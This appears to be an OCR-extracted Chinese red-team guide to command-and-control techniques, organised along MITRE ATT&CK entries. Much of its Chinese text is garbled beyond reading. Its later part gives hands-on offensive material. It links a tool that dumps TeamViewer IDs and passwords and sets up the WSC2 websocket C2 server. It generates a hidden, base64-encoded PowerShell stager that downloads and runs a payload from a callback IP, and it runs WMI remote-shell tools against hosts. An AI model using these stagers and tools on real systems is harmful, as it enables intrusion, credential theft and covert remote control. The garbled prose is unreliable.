1.4.2. Examples

Name Description

APT32  APT32 {£F Cobalt Strike BYPIRER C2 INRERRIAMEIRE., &AM
Rl TR R BRI 72 DNS £UE B8 FI3FER XS E 1T 4w hg k3T 204z 14
TEE, WA, ZER— macOS FITIEH T 38 MBENER C2 HUiE
B ERSI.

Cobalt  Cobalt Strike RIFREE N Ein BRBEEENHN, XE

Strike  Cobalt Strike FHAF#EFRA “Malleable C2”, BFEILSEMILHESS
BN APT C2 /5%,

Duqu  BEBSETIRO 443 (EREGLMIZHININ. BF, Duqu RRETZ @R

HENFARMIGETREGLMIN. Duqu LRI IM T IFS5
TCP tHERININEE, T—MAIEAIEENN,

1.4.3. Detection

27 ICMP HRR B SR EHIENEMMNNNERE, NEBEBEEMLE
R MEZPEFZNNNERE, DTAENBUERONEETE (6]

o, EFImAIAEIERE 2T MRS JZNRIEIE) . FIRBEARR
BMBEBEIMARNIHMZRTIZE LR, DITEIEERE U



AEREAERNEONTTRNIITONERE. SUMNRES RN/
S Al A & B S B IEE X A INRERY AP A

3% Custom Command and Control Protocol

1.5, BHEXInEHK
W& A BMER BE X MBS E AR IR L NEGiRE. — T8
BNAR, OINBEERANANHITRR, BrE—TIFEHNE,
BEXMEBALRNEREETERE., TERRGFSNSHANZEDITRE
AR MR IFMERNEAZNMEZERH, —EREEEATEEINEIM
1B CRANRPAAMMNEZER L, MASEREMNENE, XAJES
HIEEREIR,

1.5.1. Mitigations

Mitigation Description

Network FERAMBERFIRINGT EEERERIRERIMZN S AR
Intrusion AR RTEBNERANNER, BT ERNEEXIMNEI R
Prevention FEHBNMINGTE, BB STEMERAEERENH

1T, FRBERTMNANE— SRS, FAEHAINETHE
NFEFTEERNSENN, FEAIEESTHERRMG RSN
RZERE, BEEFESEENENHEERNET R C2 75
MM, DABREE ILRRLHE T EMENE,

1.5.2. Examples

Name

Description

3PARA RAT

HAMMERTO
SS

N5R DES fRIB5M, 3PARA RAT {ERAMFE HYF54 F1%9
& JKMCXuiS JRAER 8 71 XOR A,

EMINEIB& S 2B, HAMMERTOSS <& R iEZwia{E
HREXHESHNERFRAMNZIENE, EREGS, BERA
SEF TR EREER, BSROEXUARBE1ZTSHE


https://attack.mitre.org/techniques/T1094/

Bt

Lazarus —Lt azarus Group mESERIMERBEX BN C2 i
Group 2, ZXBFERTHA ADD %#/Es) XOR F1HH SUB #21ER

XOR, %—" Lazarus Group ;‘E=REHH#7 XORs C2 =,
Lazarus Group ;&E G ER—MFRA FakeTLS BYMH4FHZ AT
BEINZER TLS, BERARRMNMES A, B% T SSL HEA

REIE,
Mosquito Mosquito ERBEXINBEE, 1%HEA XOR FIZEUF Blum

Blum Shub BEHIRAR .
1.5.3. Detection

AMREERHERFTENMERNEEXNE, WA AMEARRIRINEE
ME, FHMEREIREENEREMDNESREREER,

B, DNMMBEREAIHABELOEIER (F1a, FF iR ErEHER
ZTMIRSF[/RWNEIE) . FABEREENEBEIMRITH
MERE RSN, DITEEERTMNEEEI N EREREA
B9m OB FRER AT

i
=
M2

$%3%: Custom Cryptographic Protocol

1.6, HIEmG
ERAMMELRIBRRIS ARSI s MIzEl (C2) FRHITRIT. EUERISHY
EAPTBEIMAMINEE, HEEEFER ASCI, Unicode,
Base64, MIME, UTF-8 SiEth ZHHIZINAFMFRRBRL, FLEH
BRBASHTESREIEESE, B0 gzip.

1.6.1. Mitigations

Mitigation Description



https://attack.mitre.org/techniques/T1024/

Network MK 22 IR E SR AT = AT B N ZALMF] Ff1E

Intrusion ARATT B TEBEMELRAAEN, TRBERTMXANKE—E

Prevention A, HERMEFHENFRTAFERNISEREERA, HE
AIBEE S MERRUGRIMRAZEAE., REEFGERBEER
[BJRUERSINE T H C2 HRIMMENIN, AR T WAL E TR

KoM
1.6.2. Examples

Name Description

Banksho Bankshot {EB—&FIFFH gzip 3 BITHI RS [N H L HI TR,
t
BS2005 BS2005 {3 Base64 fwhg#t1T HTTP I5KAYE BIARRIE(E,
Helmint XFEF HTTP B C2, Helminth {£FH base64 WHUEHITRIG, Hi&@
h & HTTP i&KE “Cookie” FERKRIE, YT ETF DNSHJ C2, Helminth
& ASCIl FRIRR A T/ HIME, FHIABBXEZ RN RIEEIE.
1.6.3. Detection
DR REIERAOMBENE (B0, BFFIRLIZNEIERE 2T MRS
FEWRIEUE) . MABEFREEMZBEIMRAITHNMENETTER
AIERY, DETEERAS AN ETE EEERIR O RIFRER N XITH
FSPEAEN

BHE: Data Encoding

1.7. BIEIRE
SO (C2) BIEWERE (BR—E2NEN) MiEFERNSER
MBS, HEBERPARBHEGSRTRED., XEEFLH
%, BIUNSLHRBIERMEINIRE, FAREAR, BaEREs5 C28@


https://attack.mitre.org/techniques/T1132/

MR, SERIMNERIERIBALSR, FIAFHX HTTP IEKAHE
REYIETN A Baseb4 4RA3 .,

1.7.1. Mitigations

Mitigation  Description

MEANEEE  (ERRNZERFRFETE SR RGEIRERNNE NS FRLE R
1 R AT EZBENERANNELRIEERN,

1.7.2. Examples

Name Description

APT28 APT28 ABNRIGFRIBRIMT “HIHIREWE", BALLTEAREE
BRERMREIENER THITRIEEE, S TMEAYEEIZERER
WP “NORKEE, BIEFIBRRGRIRURITREBEER
BHLE 5 #72% £ R aR LN

Axiom xiom /NAFER T HMEAWREE, BB ERESBRERE
REE—E, MENZREERSE, Axiom FERN—LEEE
BAFERARSARKRRE PNG BIEXX4FRIB(E.

Backdoor.Oldr —%t Backdoor.Oldrea t##ZA{E B tn/E Base64 + bzip2, BLE(F

ea FA4TEE Baseb4 +/% [ XOR + RSA-2048 RHRZAM C2 fRZ 22
EWHIEIE,

BACKSPACE k¥ BACKSPACE TNEERBENX ALY C2 @517
EE_,'O

1.7.3. Detection

DMAEREBIEROMBZEIE (B2, TP iRKIENETERE 2T MRS
RIZWHIEIRE) . AAEETEEMEZEEHNMARNITHNNENIEZE
AN, DITEIEERE M BT EEER IR ORI NITR
KBS,



fE3E: Data Obfuscation

1.8, RE X}
IRTHFIBARNAR(TME (CDN) FREEHE A REE S MINEMAR
SFRE HTTPS REMNFHAB/NSEY HTTPS REZMITRE. [11%
R KA TLS SkAY SNI FERF] HTTP kB9 EN FER P ER AR HE
Z. MR DEEZME— CDN 128, N CDN FIgERTERRE! TLS iR
SKIGEEHER) HTTP ARk hig EROMEhE, IZIARB—FhIS(R, BN“TCid /o
i%, FIFSEZEA SNI FEE; BI{E CDN 23RXI83F SNI Fl HTTP EHFRE
BILE (MNRZEETH SNIFEL) , XATRERIFRIE L.

a0, @SR domain-x ] domain-y ZE&— CDN B9EF, MRS domain—x 5
£ TLS kAR, 3% domain-y I7E HTTP k/r, REZ2MFIEEERI domain-x, 1B
CDN mlgE= B HEE AR -y,

1.8.1. Mitigations

Mitigation  Description

WATFRER A TERERIR, NEEFRFEFENZRANARGTEEMTIE,
AINEENAREFARRRBLEZRXETA,

SSL/TLS WRFILMEGE HTTPS iz, MeIAE X ERRGERIRERD

ME R ET N

1.8.2. Examples

Name Description

APT2 APT29 {$/ Tor B RIME BIim G4 fRE C2 M= B,

9

meek meek {£H Domain Fronting J§M &R BRIt {h2E a5 FHEARY
desitnation ZEE—KABRTMLE (CDN) HIEENS—1RSEE.


https://attack.mitre.org/techniques/T1001/

1.8.3. Detection

90°R SSL MuBERIMIREARMNE, MAIMLE HTTP fRkBENFRZE
&5 HTTPS SNI Itfg, ®R51HRBRBHARBMLE.

B&¥%: Domain Fronting

1.9, A RFE
WEHER R BEEREE (DGAs) EISIRAGLMEFRENEN
i, MASMRETERS P HbUSHETIR, XEMHATFR(ERLEHE B
DABELE, BRERSIZEEGSHIZHEIEE, FHEBERERIsEB T TR A
KMEES. YBIERS T FEWEERNN, DGA RAKR A E M
“ELID” T (fFlEn: istgmxdejdnxuyla.ru) B9, =0E, —L DGA
BRI ERTE—EM A FERERBRTRIEERRT (HIA:
cityjulydish.net) . 7% DGA #i2ETiER/, A8 THEE (80
i, 8K, 8A%) £ FENE, EAEHFNEMANES, U
ERPAEE TR EINEY, K& I AMER DGAs KL g
FIE, HEGINTHRSBIREHKAN, BERUIEER(ER DGA
ERNEFEIL L NIZTHINFER.

1.9.1, Mitigations

Mitigation  Description

MENEEE  ERMEERRIRBELRIRERERMZNE NI 5

10 RO RTEENZRANNER . SRIEARAZPIUIER DGA
HEERGZMHITRETIRE, HAHESEREREEILEKRRIRE
15, EXE—UHEENEMNZRNIE, BERGHERHLSILES
BT B XTHIFEEE—MFE, AEFTEREXLEMFEARE
RRAERRIT, EFELIFRT, FIMAM DNS REFRIUTERFR
{ERRMF, BMBELL, SXFIBSTERT I AENER; X(E


https://attack.mitre.org/techniques/T1172/

1SEp1HE B TR IE oM AT A Al AERY C2 R A EFRAY.

PRHIET FERLIERT, TBAMERAH DNS sinkhole SRESBH A RAIRLANER
Web NS LEEF DGA Ayan <M=,

1.9.2. Examples

Name Description

BONDUPDATE BONDUPDATER {#H DGA 5 < fliR#lRS 228 E .
R

CCBkdr MRS F S MIRHIRSEBBEEKR, CCBKdr BJLAYE DGA
ATE&RE.,

CHOPSTICK ~ CHOPSTICK AJLA#ER DGA fEAE&EE, @idERTIRFPH
IR R .

Ebury Ebury {8 DGA Jy C2 £ HiE&.

POSHSPY POSHSPY {£F DGA ME 1851 &RAIRE a5 < FMi=H URL,

Ursnif Ursnif {8 DGA ¥ C2 &£ iiE&.,

1.9.3. Detection

T E DGA BANHME, FHARNEERERIINMEANE R
Hmign, NS EMMNEPIEERERRE. BIFS AR MM

BEMEMMNER, BREERMED, D/RAIXE, [, FHEIEALEE,

TESHEMFRLEHEFS, BTEHR0EN, CON HAgERflR XL

W, BRT BT RN DGA B2 5), TN S50 5 —Fh R
A ERRERIDEMNBIRNERIDAEIRVE,

ELF R ERTIN DGA BRI F I %, AHELENATRET
PIN. —Hh7 AR (ER N-Gram 75ARERE 2 & H{E R F 19 & AIREH
Mo, WMRENESIRS, ARERARIIANBRE (CONF) , U
AIMBEEREE S BEEN DCGAEX, [13] Z—MEEZERRE
F IR K ) DGA L.



§%#%: Domain Generation Algorithms

1.10. [5&EIE
MREFEEERM TR AR E, REETUERRRNEHRBEEE,
DA 4E 5 7] Se YA < AR F 8 e AR R4 E

1.10.1, Mitigations

Mitigation Description
MBENE (FERNZERZFRIGESEREFRENNBN SR EH RS

B

AJRTEBMNELRAINER, ZERBERTXANE—IERT, 7
BAIRETHENFRTEERAGEMNN, FHEAERESHERR
HRINFRAZ BARE, KEEAUEZEENENHEBHRETAR C2
HRIWEMN, NEREE LARE TERNE,

1.10.2. Examples

Name Description
BISCUIT BISCUIT BmERM B EE T an < TIZHIARSS 28 2 FEX R IHBIEIR

BlackEnergy BlackEnergy AIDUEIT plus.google.com B & 10 KRB HITIEIE.

Cardinal
RAT

ap L HIZHIARS 2=

(I\3

Cardinal RAT T U@ IT Z1 C2 MmO E S HITES.

CHOPSTICK #NRHa18 C2 SRR, CHOPSTICK ] LALI#RZIFTHY C2 57

Derusbi

DustySky

HOPLIGHT

&,

Derusbi {ER®A HTTP (SirlEMBE S IE.

DustySky B MNATF C2 IRS23MMERASLE; MNRE—IZE
L, ESEEETT,

MBE—PELM, HOPLIGHT EZ C2 &iE.,


https://attack.mitre.org/techniques/T1483/

JHUHUGIT

Kazuar
Kwampirs

Lazarus

Group

Linfo

MiniDuke

MIS-Type

NETEAGLE

OilRig

QUADAGEN
T

S-Type

SsIMM
WINMM

XTunnel

JHUHUGIT i ERE T MET et ERERIIAH C2 RS
23, MRTEM, KREREBIREHBEIRIERXEE, RF&D%ﬁ

ARSI EN EEEITRINI 2R .

Kazuar A IAES C2 fRE 23092 URL,

Kwampirs {EAAXER] C2 fRS5<:18IF, BRIBIIMINAIER,
Lazarus Group 7E23{4 SierraAlfa 1§ EUHE &= 2l 1L r0E g
1EC2 RSBz —, WREHMRMW, NMIEEFEFHHN C2 RSB|[/HBRE
GRS TR

Linfo BIE T —1EIRER, EREREE TS
C2 fr5525.

WRBEI Twitter WEE C2 FIEAEIEA, MiniDuke ERAAIIE
RIFEING C2 PRE2E,

Mis-Type B =117 C2 MIRIA TCP E#x=F L1 Base64 4gt5
RSN, BNRIZFERM, MELNEEIETF HTTP A9EEN RN EA
5%HM C2 RS2

NETEAGLE 3= MIS RN ENESSEENRIE, R
¥, NETEAGLE J83&iZ HTTP POST iFR &% (=5, BN thﬂ
UDP / 6000 &3%{Z45,

OilRig "Z R4 ISMAgent AR FoiE8Bid HTTP 58] C2 BRSS
NI<ELEEI DNS RREH &,

QUADAGENT JH C2 fRSB#EAZ X (HTTPS, HTTP,
DNS) fERE&BE, MRSHEA— P BEERHINNIE,

S-Type FEFRIRO 80 AT C2, BUIRMBBELRM, MEIR
FlimO 443 37 8080,

SsSIMM BE— 1M ERIBINEEFEZE C2 R E,
WinMM BEE B C2 BanTiEM&mid,
XTunnel {FEM C2 lRBEBNSEEIRMHT

TizEINEFREX

L1|:| o

—TimOS, MEEE



BRESRERNRO EXANBEESE.
1.10.3. Detection

DAAERNBIERONEEE (B2, FF I ENEIERE 2T MRS
RZWHIEIRE) . AAEETEENEZEBEEHMRRIHNRNENIER
AJEERY. DATEIEERE ML BT EEE R E O R MATA
PG

$%53E: Fallback Channels

1.11. ZHRH
HNTRELERBOFER, KHEETUES MMBRELT 2., BF,
BEHIE S RESIRBIEH NENK 2 BIETNRE— MIERES; BEER
BER RN AEE R G — Ik B 2 BTIRBIEASATIR IR, ZRABEE
KEpHEEIE FREBREEERERIAZERE, MFERIEERS
MRIAERESEMEE,

1.11.1. Mitigations

Mitigatio

n Description

R TENESRE UETEEMEEL R ERBAIEEHERMWLEFT C2
EMIiRE. NIZEEMNE, XFEZER DB HEMI AR e
FF, {5140 Domain Fronting,

1.11.2. Examples

Name Description

APT29 APT29 FRMIGEIIEIET —1 Tor lARRSE, BFEBREM Tor X
PigtE & B Az ] 3389 (RDP) , 139 (Netbios) #1445
(SMB) , MMEMAMRE /MBI EInFZETRE,


https://attack.mitre.org/techniques/T1008/

Dok Dok & B #ll8R4 T EH %% Tor,

FIN4 FIN4 £/ Tor ERZEERIEFHHEIKS,
GreyEnerg GreyEnergy 2% Tor 4423l T e S FIEHIIRS 25,
Y

Keydnap  Keydnap {#H tor2web RIBEIEIZA#1T HTTPS &@(5.
MacSpy MacSpy {#F Tor #1Ta < FIRH,

Tor EF Tor MERMEFERL Tor WEHARERATIE B At 2 51
BREZITTR.

WannaCry WannaCry {£F Tor RizHIFIIZHIRE
1.11.3. Detection

SR SIAIERERRT, KB SLhras <L FEHIARSS SIS EUERT A58
FRBEEANELERAMRRSEEAERRHER. ErANETESEME
2% (BIE0 Tor) SEMIXRARRIE AN FEAMIRIERR S RN 2 Bk
RE,

5% Multi-hop Proxy

LA BrBEE
WE AP UEIZBTAEARBFMG THATELEINEN C2 IS TR, ERZD
BrEXPIBURE ar < MR HIRVEE, (EMNEMEE.

wiEThR) TERISE C2 RSFMBRF—MENES. B—MERAERFEMNLI)
g, AIREERENGER, BEMTIAEMELEEMSE, WU EEE 1Mtz
BTHE (RAT) , EREENME C2 RSBFJBIEKRFE_MERNIES. FMERATEE
SENEH, HARTRGERERE shell SEAL RAT IhEES RAHITRE,


https://attack.mitre.org/techniques/T1188/

AEMNMERRTED N, REES, ERARUSENME—MEBENERLT, i
HBREAIUNZHE—MERNENE S EHE LIRS,

ZHREE

—BERHEEREEEDE, FBEFRENMINEZEREE, XMEETURE— AT
AN, B—TETHIEEEE, XFHECE R DAGHT FLERh KIERRE], 3Rt rTIA
SHENAY, DS BB R E Al — MHISGEE EREUEZIR,

ZEINE
REEFERAZEMBNIT C2 BfE, BF (BEXREMW—ih) EMUNZESE (i
HTTPS 8 SMTPS) NEBEX —MEZMMZAE.

e 0 RER

Port Knocking R 2R 1#1& FIR 5 & B SRR s Qih i —MAaE, AT
FinO, WEEEIHROZAIRE—RYEEREEHINBIEE, 8%, X—&
FIHEE SESINEEI A EXIHONEY, B hRERE, FEFFERIY
HEHE., BRILKZERHGE, BEBENABHAEITFRD, Bt UBIEEX
ROER {4 SCIR,

I AR MBENSH AN AU RBHS AR RS LIRS SR0IEE,
I BE AN ERY 55 M R A & BIERIEE R, RAJH CAoor LI —F 7552
£ libpcap FERIZIRBQIMNEUER ., B—MTEFARAEET, LR
RESS(E R B 2T AR DM E 2 FE A,

X ssh AR5 Joffil:
5% yum install knockd
BoE:

/etc/knockd.conf

[options]



UseSyslog

[opencloseSSH]
sequence = 44440:udp,44442:udp,44441.udp

seq_timeout = 30

tepflags = syn,ack
start_command = /sbin/iptables —I INPUT —s %IP% —p tcp —dport ssh —j ACCEPT

cmd_timeout = 300
stop_command = /sbin/iptables -D INPUT —-s %IP% —p tcp —dport ssh —j ACCEPT

iptable FFFHL SSH:

[root@ubuntu ~]# iptables —nL INPUT

Chain INPUT (policy ACCEPT)

target prot opt source destination
RH-Firewall-1-INPUT all — 0.0.0.0/0 0.0.0.0/0

J&5) port knocking daemon, XEFF TIEIXF] Verbose X,

[root@ubuntu ~]# knockd -D —v

config:
config:
config:
config:
config:
config:
config:

config:

new section: ‘options’

usesyslog

new section: ‘opencloseSSH’

opencloseSSH: sequence: 44440:udp,44442:udp,44441:udp

opencloseSSH: seq_timeout: 30

tcp flag: SYN

tcp flag: ACK

opencloseSSH: start_command: /sbin/iptables —I INPUT —s %IP% -p tcp —d

port ssh —j ACCEPT

config:

config:

opencloseSSH: cmd_timeout: 300

opencloseSSH: stop_command: /sbin/iptables =D INPUT —s %IP% —p tcp —

dport ssh —j ACCEPT



ethernet interface detected
Local IP: 10.18.1.1

listening on ethO...

EFimREE F, A7 windows THITE:
knock B9 Win32 EFiRTEfF:
http://www.zeroflux.org/proj/knock/files/knock-win32.zip

C:\>knock.exe —v 10.18.1.1 44440:udp 44442:udp 44441:udp
hitting udp 10.18.1.1:44440
hitting udp 10.18.1.1:44442
hitting udp 10.18.1.1:44441

ARSSERimm LR T IERRIR O, RARENIE, FFT SSH im0,

2019-08-11 00:27:25: udp: 10.18.1.2:54204 —> 10.18.1.1:44440 60 bytes

10.18.1.2: opencloseSSH: Stage 1

2019-08-11 00:27:25: udp: 10.18.1.2:54205 —> 10.18.1.1:44442 60 bytes

10.18.1.2: opencloseSSH: Stage 2

2019-08-11 00:27:25: udp: 10.18.1.2:54206 —> 10.18.1.1:44441 60 bytes

10.18.1.2: opencloseSSH: Stage 3

10.18.1.2: opencloseSSH: OPEN SESAME

opencloseSSH: running command: /sbin/iptables —I INPUT —s 10.18.1.2 —p tcp —dpo
rt ssh —j ACCEPT

EIEE iptables

[root@ubuntu ~]# iptables —nL INPUT


http://www.zeroflux.org/proj/knock/files/knock-win32.zip

iptables FEZINT RiF%E.

Chain INPUT (policy ACCEPT)

target prot opt source destination

ACCEPT tcp — 10.18.1.1 0.0.0.0/0 tcp dpt:22
RH-Firewall-1-INPUT all — 0.0.0.0/0 0.0.0.0/0

AR TR

REEAUNMERASENREXFNIEELRERY, Bl Team Viewer,

Go2Assist, LogMein, AmmyyAdmin &, REBIIWMEANBRASRNRER mLHE
HEE, XERFEERSENBAIIFRY, FAEATUEERMERIINBR
B, SRHEEEBNEMSEHRMEMELE, VNC, Ammy F] Teamviewer & infEih(d]
THZEWRER.

AINEREBENNMER(ERITTEh B TEEATAE BirtlssfERBEA, SE
RS EMARBUREANRERERIENAN. ENERIUBEEERENA
f, DRI REERIREERRRS ARG EZHNRS.

TeamViewer FEE T AE#HZ T EREAFATHE—EHT IMERNAAFICIEE
40

=/\o
DE—NRFH] Teamviewer ITIZTH,

TV ZEEXHH2309 ID 5B 8EisHxI AH2E, EREEBERT, HIZER—/K
#2 webshell 3& RIEEHER shell, TTEEENH ID FIZRML,

REIRA—FFHNLE, BN ID MBS — X 4h, BIRESTRET
REIEUE, Mm#t—DrRTZEES.

Bt TR



https://mega.nz/#!1tmYISaiA!Z50fakL2CwxxDXfRWNNXxTkOAy—
AWAINBBKEMWOGGgY

F1E TV _V2.exe BIBfHLZE, HIT:
TV_V2.exe B LEIBITEEHBIBREMER 3 ™4
RIEETITERM gps.exe X ZFELER virtxt BEA ID F pass

EIFEREREBER TeamViewer_Setup.exe X4

C:\Users\baiyang\Desktop>TV V2. exe

C:\Users\baiyang\Desktop>gps. exe

EARAFE S8 B3R FRIvtr. txt X4



https://mega.nz/#!tmYlSaiA!Z5ofakL2CwxxDXfRWnNXxTk0Ay-4WA9nB8k5MW0GGgY
https://mega.nz/#!tmYlSaiA!Z5ofakL2CwxxDXfRWnNXxTk0Ay-4WA9nB8k5MW0GGgY




C:RYSplxlhil ang DH sktop>type vtr. txt
B HIAIKEER] ID LLE) 2 i{--fgg X
ID

L FE ST FF

1'.Ji ’J\

=P f| A ID FERS & R1E Ik FE.

R SR il

KREETNELTTAFHEHEREFEXGEMN—TRAEF RS —TRSE, TUEL

BEMBEIZHNARES XS, N\MELEERBRNG, S@dEMmTER
(BN FTP) ., tHAETLA{EA scp, rsync F sftp AN T ETE Mac 1 Linux L &%
X1,



WHEETAINEREENBMNER A 2 EEOEH X MG, TUERETHIXERZ
IMSGHATRAZNATRIER S, FIAEE SMB ZEERNERZEHEXERZTS
fIRIERY Windows EIE A Z itz R EMNAIBIXHHE,

AR FH MY

W& A MERBERNECRIR AR (20 HTTP, HTTPS, SMTP B} DNS) #
1TBE, XFFANEESIARERGAEMERINEIR. TERFIGL UK
RXERLNERBERBEE P inRSSEZBNEEMRET,

MNTFAEZEXAMRENEE (FMAERPRTREEETRZENER) , §
FriNE RPC, SSH sy RDP,

1t i websocket

FLE Web WXAFEE Web BEixFAR. Eit, E0MBAERENHTERSS
HIB(EEE.

https://github.com/Arno0x/WSC2

G E
1. git clone https://github.com/Arno0x/WSC2 WSC2

2. cd WSC2
3. pip install -r requirements.txt

4. python wsc2.py

5. BEHRECEXH


https://github.com/Arno0x/WSC2

CALLBACK ‘http://192.168.43.197

PORT

STATICFILES - './static'
INCOMINGFILES './incoming'
STAGERFILES './stagers'

AGENTRELEASE './agent/release/wsc2.d11’

XORPASSWORD 'thisisafuckingbadpassword'

IDPREFIX ‘wsc2'

CLONESITE - f
CLONESITE_USERAGENT "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
CLONESITE_URL - "https://www.baidu.com"

N— /=

BT

python2 wsc2.py

python2 wsc2.py

[no agent]#

4R payload , H %



[no agent]#> genStager psoneliner

powershell.exe -NoP -sta -NonI -W Hidden -e JAB3AGMAPQBOAGUAdwAtAEBAYgBgAGUAYwBOACAAUwWBSAHMAdABLAGDA
LgBOAGUAdAAUAFcAZQBiAEMADABpAGUAbgBOADSAJAB3AGMALgBIAGUAYQBkAGUACcgBzAC4AQQBkAGQAKAALIAFUACWBLAHIALQBB
AGCAZQBUAHQAIgASACIATQBvAHoAa(QBsAGWAYQAVADUALgAwWACAAKABXAGkAbgBkAGBAdwBzACAATgBUACAANQAUADEAOWAgAFcA
a(QBuADYANAA7ACAAeAA2ADQAOWAgAHIAdgAGADQADQAUADAAKQAQAECAZOBjAGSAbwAVADIAMAAXADAAMAAXADAAMQAQAEYAaQBY
AGUAZgBvAHgALWABADKALgAWACIAKQA7ACQAdwBjAC4AUABYAGBAeABSADBAWWBTAHKAcWBOAGUAbQAUAE4AZ(QBOACAAVWBLAGIA
UgBlAHEAdQBLAHMAdABdADOAOgBEAGUAZgBhAHUABABOAFcAZQBiAFAAcgBvAHgAeQATACQAdWBjAC4AUABYAGBAeABSACAAQWBY
AGUAZABLAG4AdABpAGEAbABZADOAWWBTAHKkAcwBOAGUABQAUAE4AZQBOAC4AQwBYAGUAZABLAGAAdABpAGEADABDAGEAYwWBOAGUA
XQAGADOARABLAGYAYQB1AGWAdABOAGUAdAB3AGBAcgBrAEMAcgBLAGQAZQBuAHQAEQBhAGWACWAKACQAaWAIACIAMgA3ADCAYwWAY
AGQANQBmAGMANAABADQAYQAOAGIAYwWBhADMAZgALAGQAZAASADQADABKAGMAZgA3ADUAYgBmMADKAZQAXAGIANGBhADCcAMQBhADKA
MgAOADYAYgAOAGMAZAASADUAMOBhADEANgBiADKADQAXAGMANWALADMANGAiADSAJABpADOAMAATAFSAYgBSAHQAZQBbAFOAXQAK
AGIAPQAOAFSsAYgBSAHQAZ(QBbAFOBAXQA0ACQAdwBjAC4ARABVAHCAbgBSAGBAYQBKAEQAYQBOAGEAKAALIAGgAdABOAHAADgAVACBA
MQASADIALgAXADYAOAAuUADQAMWAUADEAOQA3SADOADAAWADGAMAAVAGEAZWBLAG4AdAAUAHQAEABOACIAKQAPACKATAALAHSAJABT
ACOAYgB4AGBAcgAKAGSAWWAKAGKAKWArACUAJABrAC4AbABLAG4AZWBOAGGAXQBIAAOAWWBTAHKACWBOAGUADQAUAFIAZQBmMAGWA
Z0BjAHQAaQBvAG4ALgBBAHMACWBLAGOAYgBsAHKAXQAGADOATABVAGEAZAAOACQAYgAPACAATAAGAESBAdQOBOACOATOBLAGWADAAK
ACQACAA9AEAAKAAiLIAGGAdABOAHAAOGAVACEBAMOASADIALgAXADYADAAUADQAMWAUADEADOQA3ADOADAAWADGAMAAVAGKAbGBKAGUA
eAAUAGYAdABtAGWAIgASACIAdwBZAGMAMgALIACKACgBbAHCACWBjADIALgBBAGCAZQBUAHQAXQAGADOATQBhAGKAbgAOACQACAAD

&1 wml
WmiShell

Windows Management Instrumentation (WMI) 2—Ii Microsoft X, ETE
AT EERBMNER TR EERE, BT WM 28 Windows 98 ARz
£5 Windows £ERGN—ERD, HEUIIILRIETT Windows 10 2 Windows
XP, EJLFAINESTMERER., FTAEE WMI TR —ERERLE:

o XHEH

o EEUAANEMRIN
s XHRLEHEE

e windows EHHE

ZIRANAT AR WMI THBEA R EFT AR T & Windows RETAIESL, DUERIT
ENME, w<HIT, PUTRRBHNEFZEFTAIE,

WMI BRZ{EH DCOM (TCP 50 135) 3§ WinRM 1% (SOAP - i
5985) .



EM SYSTEM X [Riz1T, MEFEEERRZE. B 2014 FLK, AFFESH
TR, T@&d WMl BEa<HEE .

.

WmiShell 2—> PowerShell A<, BE& WmiSploit B9—&8%

Enter—-WmiShell -ComputerName desktop-1st179m —UserName netbiosX

PS C:\Users\User\Downloads\WMI\WmiSploit> Enter-wmiShell desktop-1stl179m
1 whoami
desktop-1st179m\netbiosx
ipconfig

Windows IP Configuration

Ethernet adapter EthernetO:

Connection-specific D.‘.S suffix

Link=-local LP 6 Address . . . . . : f d129:dabc:1903%2
IPv4 Addres : 2

Subnet Mask

Default Gateway

Ethernet adapter ‘n= ni= Bluetooth:

Media sState : Media disconnected
Connection-specific DNS Suffix .

WmiSploit AEIE—1HIZA, ZBIARMER WMI {ERBEEEEIZiZEB i LR
17 PowerShell g2 FHIA,

Invoke-WmiCommand —ComputerName desktop-1st179m —ScriptBlock {tasklist}
WMImplant

Chris Truncer 71287 WMImplant , X2—7FIH WMI #1TIE iR ER
PowerShell TR, ERIMAE C2 TH, HMRERITEEREFiniZFIERM
L, EREEEERERE,

Import—Module .\WMimplant.ps1
Invoke—WMImplant

WMimplant IINEE—BHATHM AT AEERBFHKE, EAURITXEHEMIERE,
HEEBA ENME,

EMITERIEMG L ZE], BETHAIT change_user 8%, LAENIRIEEERMIE
HRRY .


https://github.com/secabstraction/WmiSploit
https://github.com/FortyNorthSecurity/WMImplant

Command >: change_user
Please provide the domain\username to use for authentication > pentestlab\User

Please provide the password to use for authentication >:
Command >: drive_list )
What system are you targeting? >: 192.168.1.172

DeviceID ] o
DriveType - L
ProviderName :

FreeSpace : 34335354880
Size : 42947571712
VolumeName

Command >: basic_info

What system are you target1ng >: 192.168.1.172
Domain : pentestlab.blog
Manufacturer : VMware, Inc.

Model : VMware Virtual Platform
Name : WIN-M6ICS587VWFF
PrimaryOwnerName : Windows User
TotalPhysicalMemory : 1072054272

EBREE LTRSS

Command >: s
what system are you targeting? >: 192.168.1.124
What's the full path to the directory? >: C:\Users\netbiosX
Hidden False
Archive : False
EightDotThreeFileName : c:\users\netbiosx\3dobje~1
FileSize -
c:\users\netbiosx\3d objects
False
False
True

True
False _ _
c:\users\netbiosx\appdata

: c:\users\netbiosx\appdata
Compressed : False
Encrypted : False
Readable : True

PRV 2 B

WEE T NEEFERAEANMZE LR REGSRFNRE, MARKETERS
m&EﬁmEﬁWEﬁFOR%ﬁmTﬁﬁﬁﬁ,@W%—%M%%@ﬁﬁﬁﬂﬁ
RETSERSHAR, BEXHESD, NREMFTEES =W E TN,



PRV 2 0

ERMMERIEN B EMHITENS C2 fRSS83 Z BN RZ RGN 2 [ERIE
5. FIEEMIMNXIIRIRT 2. EARRAIEEERMEBENIN, 0 MEMSHIRSN
W (ICMP) 5 EEiX, W AFPEEERMY (UDP) 5 RIEFEMIX, -
Socket Secure (SOCKS) MUNKEEM /FFEWY, 140 Serial over LAN

(soL) .

ENZEH ICMP BEME—THF. BT ICMP 2 Internet IHXEHII—F
7, BIWFEMBES IP REMWENIIN; EZ, ENMEREERESNBN (40 TCP
5 UDP) B#2E|ml, FHEPIREWRINEE BAXRIEEEE.

JEH e O

WEEA BT IR EROS C2 lRSZF3H#TEE, MMEEREREERRIEM
BhXiE

48 .55

WHE P LMERIIANGIEINE Web RSB F o < AR BT AR —FH
Ko

XL T BEEmaLIES (C2) EMEWRIET ., WEBEZRRE (RN
JEXENIER) RGEEFEBMAIN (BESEM/RWEZ) 25k P ithitsy Web ARSS
£, —B#ER, REBFERMARXLRTHREED,

MATMISFIERGUAFTRER RN C2 RIE—TEMIREE, EARNZPHNENFIEESR
FERRZAEISEE. EREILMRS (B2 Google B Twitter 1I2HAIARSS) I
P FER ZRBETIHANIRESIED . Web IRSIRIEREE(ER SSL/TLS fiI
B, NG EREESRABIRE,

